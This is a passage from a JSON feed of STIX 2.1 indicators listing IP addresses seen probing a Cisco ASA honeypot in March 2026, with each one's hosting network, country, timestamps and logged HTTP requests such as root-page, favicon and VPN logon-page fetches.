      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.22.151.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T20:20:13.000Z",
      "valid_until": "2026-04-15T20:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-14T19:29:14.112Z",
          "last_seen": "2026-03-14T19:29:17.113Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T00:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--cedb9a46-af44-4d86-96f7-387df08add82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.202.113.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T00:20:07.000Z",
      "valid_until": "2026-04-16T00:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-15T00:06:22.636Z",
          "last_seen": "2026-03-15T00:06:25.639Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--6638973b-aaa5-408b-8dd3-ffc388da24b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:20:07.000Z",
      "valid_until": "2026-04-16T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-15T00:37:16.597Z",
          "last_seen": "2026-03-15T00:37:17.265Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--bd3362bf-e101-4294-9998-f6b523e16909",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:20:07.000Z",
      "valid_until": "2026-04-16T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T00:35:11.018Z",
          "last_seen": "2026-03-15T00:35:11.018Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--63df01e2-44a4-42dd-ae9e-1dc502271bb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:20:07.000Z",
      "valid_until": "2026-04-16T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-15T00:35:05.430Z",
          "last_seen": "2026-03-18T07:50:32.894Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--23ccd765-aa25-43cf-aaca-08189ddec76f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.226.195.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:20:07.000Z",
      "valid_until": "2026-04-16T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T00:54:36.768Z",
          "last_seen": "2026-03-15T00:54:36.768Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--69913dd3-44f8-4e4b-9966-3dd7f3d8b32c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.239.122.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:20:07.000Z",
      "valid_until": "2026-04-16T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T01:00:29.898Z",
          "last_seen": "2026-03-15T01:00:29.898Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T01:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--a01666cb-bea7-4cfb-bd74-80af47c1b904",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.93.19.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T01:20:07.000Z",
      "valid_until": "2026-04-16T01:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-15T01:00:31.881Z",
          "last_seen": "2026-03-15T01:00:34.884Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--bf68335f-386f-4092-bc6e-dca10b3c4e0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '188.166.169.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:20:13.000Z",
      "valid_until": "2026-04-16T02:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-15T02:10:29.511Z",
          "last_seen": "2026-03-15T02:10:36.432Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--cce07206-0ff3-4584-9701-4dae2bce741c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T02:20:13.000Z",
      "valid_until": "2026-04-16T02:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-15T01:52:31.839Z",
          "last_seen": "2026-03-15T01:54:37.094Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T03:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--36ea5911-b6dd-4424-b365-5db0d5db5b45",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T03:20:07.000Z",
      "valid_until": "2026-04-16T03:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-15T02:57:22.560Z",
          "last_seen": "2026-03-23T04:01:56.579Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T16:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 396982 (Google LLC)",
      "id": "indicator--59ca7c29-7c3c-4be7-a5d7-a70629a29b0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '34.87.129.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T16:20:13.000Z",
      "valid_until": "2026-04-16T16:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-15T15:45:32.052Z",
          "last_seen": "2026-03-15T15:45:32.451Z",
          "country": "Singapore",
          "country_code": "SG",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T17:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: RO; ASN 47890 (Unmanaged Ltd)",
      "id": "indicator--1a7280f4-d8af-48a0-b413-6bf1e8fbdb1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T17:20:04.000Z",
      "valid_until": "2026-04-16T17:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 7,
          "first_seen": "2026-03-15T16:36:04.494Z",
          "last_seen": "2026-03-15T16:37:08.316Z",
          "country": "Romania",
          "country_code": "RO",
          "asn": 47890,
          "as_org": "Unmanaged Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T18:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: IR; ASN 213790 (Limited Network LTD)",
      "id": "indicator--f6501789-c6ff-40a7-b0e3-5472f19b5158",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T18:20:13.000Z",
      "valid_until": "2026-04-16T18:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-15T17:50:14.085Z",
          "last_seen": "2026-03-23T19:51:25.216Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 213790,
          "as_org": "Limited Network LTD",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T19:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.134.216.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T19:20:15.000Z",
      "valid_until": "2026-04-16T19:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 8,
          "first_seen": "2026-03-15T18:35:45.168Z",
          "last_seen": "2026-03-31T16:36:21.960Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T20:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--36ebf076-36e4-43e6-9459-14a2b358867b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.182.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:20:14.000Z",
      "valid_until": "2026-04-16T20:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-15T19:27:34.844Z",
          "last_seen": "2026-03-15T19:28:16.484Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T22:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--7b658355-6d92-4ec3-80d5-273f72381969",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:20:14.000Z",
      "valid_until": "2026-04-16T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T21:30:11.559Z",
          "last_seen": "2026-03-15T21:30:11.559Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T22:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--5eb3457e-aaf1-4b05-be55-aef6e046df8d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:20:14.000Z",
      "valid_until": "2026-04-16T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T21:30:12.916Z",
          "last_seen": "2026-03-15T21:30:12.916Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T22:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--9d4d3268-8865-48d7-a841-d9ad7baeeae8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:20:14.000Z",
      "valid_until": "2026-04-16T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T21:28:14.475Z",
          "last_seen": "2026-03-15T21:28:14.475Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T22:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--5ccfc3ea-8b68-4de8-93f4-550d9d1a829f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:20:14.000Z",
      "valid_until": "2026-04-16T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T21:28:12.152Z",
          "last_seen": "2026-03-15T21:28:12.152Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T22:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--8d541bff-f3c1-4a5f-8cbe-9874ce3b7012",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:20:14.000Z",
      "valid_until": "2026-04-16T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T21:25:42.552Z",
          "last_seen": "2026-03-15T21:25:42.552Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-15T22:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--01af71f2-51ba-4c15-b313-d7ae433a1c33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:20:14.000Z",
      "valid_until": "2026-04-16T22:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-15T21:32:13.569Z",
          "last_seen": "2026-03-15T21:32:13.569Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-16T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
